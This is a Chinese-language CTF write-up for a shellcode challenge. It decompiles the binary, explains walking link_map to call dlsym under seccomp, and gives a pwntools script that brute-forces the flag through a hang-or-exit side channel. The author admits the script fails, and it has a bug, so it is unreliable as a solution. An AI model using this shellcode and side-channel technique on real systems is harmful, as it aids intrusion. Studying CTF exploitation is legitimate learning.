代码分析
源码很简单,直接贴出
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rsi
int fd; // [rsp+Ch] [rbp-24h]
unsigned __int64 buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v7; // [rsp+18h] [rbp-18h]
void *v8; // [rsp+20h] [rbp-10h]
unsigned __int64 v9; // [rsp+28h] [rbp-8h]
v9 = __readfsqword(0x28u);
init(*(_QWORD *)&argc, argv, envp);
v8 = dlopen("/home/maps/libflag.so", 1); //打开文件夹
if ( !v8 )
error("dlopen", 1LL);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
error("open", 2LL);
if ( read(fd, &buf, 8uLL) < 0 || read(fd, &v7, 8uLL) < 0 )
error("read", 3LL);
close(fd);
buf = (unsigned __int64)mmap(
(void *)((buf & 0xFFFFFFFFFFFFF000LL)
- 0x777700000000LL
* (0x224946DBB2496LL * (unsigned __int128)((buf & 0xFFFFFFFFFFFFF000LL) >> 32) >> 64)),
0x1000uLL,
7,
34,
-1,
0LL);
v7 = (unsigned __int64)mmap(
(void *)((v7 & 0xFFFFFFFFFFFFF000LL)
- 131352984813568LL
* (0x224946DBB2496LL * (unsigned __int128)((v7 & 0xFFFFFFFFFFFFF000LL) >> 32) >> 64)),
0x1000uLL,
3,
34,
-1,
0LL);
if ( !buf || !v7 )
error("mmap", 4LL);
memcpy((void *)buf, &sc, 0x30uLL);
puts("Welcome!");
puts("Your flag is hid inside libflag.so");
puts("Let's see what your shellcode can do");
printf("> ", &sc);
v3 = buf + 48;
read(0, (void *)(buf + 48), 0x3B8uLL);
init_seccomp();
((void (__fastcall *)(unsigned __int64, __int64))buf)(v7 + 2048, v3);
return 0;
}
打开一个动态链接库,里面应该有system函数。
然后用mmap创建空间,地址随机。
sc处的指令用来设置栈为输入的地址
pwndbg> x /50i 0x400f00
0x400f00 <sc>: mov rsp,rdi
0x400f03 <sc+3>: xor rax,rax
0x400f06 <sc+6>: xor rbx,rbx
0x400f09 <sc+9>: xor rcx,rcx
0x400f0c <sc+12>: xor rdx,rdx
0x400f0f <sc+15>: xor rdi,rdi
0x400f12 <sc+18>: xor rsi,rsi
0x400f15 <sc+21>: xor rbp,rbp
0x400f18 <sc+24>: xor r8,r8
0x400f1b <sc+27>: xor r9,r9
0x400f1e <sc+30>: xor r10,r10
0x400f21 <sc+33>: xor r11,r11
0x400f24 <sc+36>: xor r12,r12
0x400f27 <sc+39>: xor r13,r13
0x400f2a <sc+42>: xor r14,r14
0x400f2d <sc+45>: xor r15,r15
0x400f30 <sc+48>: add BYTE PTR [rax],al
接下来要执行的代码从输入获取。中间禁用了所有系统调用,只能用exit
思路
用dlsym函数把需要的函数加载然后调用。
调用结果不能输出,可以用一位一位爆破的方法,如果匹配相同可以陷入死循环接收不到东西但不会断开。如果匹配不相同可以直接结束会接收到EOF
dlsym函数
void *dlsym(void *handle, const char *symbol);
第一个参数handle是dlopen的返回值,是文件的句柄,一个堆地址
第二个参数是符号是要调用函数名字是个字符串
返回一个被调用函数或符号的真实地址
link_map结构
上一部分中说到文件句柄,这里说如何找到这个地址
plt表的第二项是link_map的地址,link_map是一个链表,每个节点是一个结构体,每个节点存放一个动态库的信息。
结构为,其中每个节点的地址就是上文说道的句柄的地址
struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */
ElfW (Addr) l_addr; /* Difference in address on ELF and memory. */
char * l_name; /* Filename. */
ElfW (Dyn) * l_ld; /* "Dynamic" area of the object. */
struct link_map * l_next, * l_prev; /* Doubly linked list. */
};
其中偏移0x18地址处为next指针
如果地址不是0x7f开头就认为是用户使用dlopen加载的。
exp
#coding=utf-8
from pwn import *
file_path="./maps_debug"
context.arch = "amd64"
context.log_level = "debug"
# context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
# p = process([file_path])
elf=ELF(file_path)
# gdb.attach(p, "b *$rebase(0x121c)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('47.111.104.169', 57404)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
def debug_1(addr,PIE=False):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
text_base=0
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
def get_payload(offset,val):
shell_asm=shellcraft.amd64.setregs({'rax':0x602008,'rbx':0x7f0000000000})
shell_asm += "mov rdx,[rax]\n" \
"loop1:\n" \
" mov rdx,[rdx+0x18]\n" \
" cmp rdx,rbx\n" \
" jge loop1\n"
# shell_asm+=
shell_asm+=shellcraft.amd64.pushstr("correct_flag_13333337")
shell_asm += shellcraft.amd64.mov('rcx',0x602028)
shell_asm +="mov rcx,[rcx]\n" #puts_got
shell_asm += "add rcx,0x371650\n" #计算处dlsym函数
shell_asm += shellcraft.amd64.setregs({'rdi':'rdx','rsi':'rsp'})
shell_asm+="call rcx \n"
shell_asm+="call rax \n"
shell_asm+="mov dl,BYTE PTR [rax+{:d}]\n".format(offset)
shell_asm+="cmp dl,{:d}\n".format(val)
shell_asm+="jge good\n"
shell_asm+="bad:\n" \
" mov rax,0x3c\n" \
" xor rdi,rdi\n" \
" syscall\n" \
"good:\n" \
" jmp $+0"
print(shell_asm)
payload=asm(shell_asm)
print(hex(len(payload)))
return payload
# debug_1([0x000000000400E2E])
import string
flag=""
for i in range(35):
for j in string.printable:
p = process([file_path])
p.recvuntil("> ")
p.sendline(get_payload(i,ord(j)))
try:
p.recv(1,timeout=0.5)
p.close()
flag+=chr(j)
break
except:
p.close()
print(flag)
# p.interactive()
问题
上面的脚本其实不能得到flag
因为在调用dlsym函数的时候总是失败不知道什么原因。。。。。。。。。。。。。。。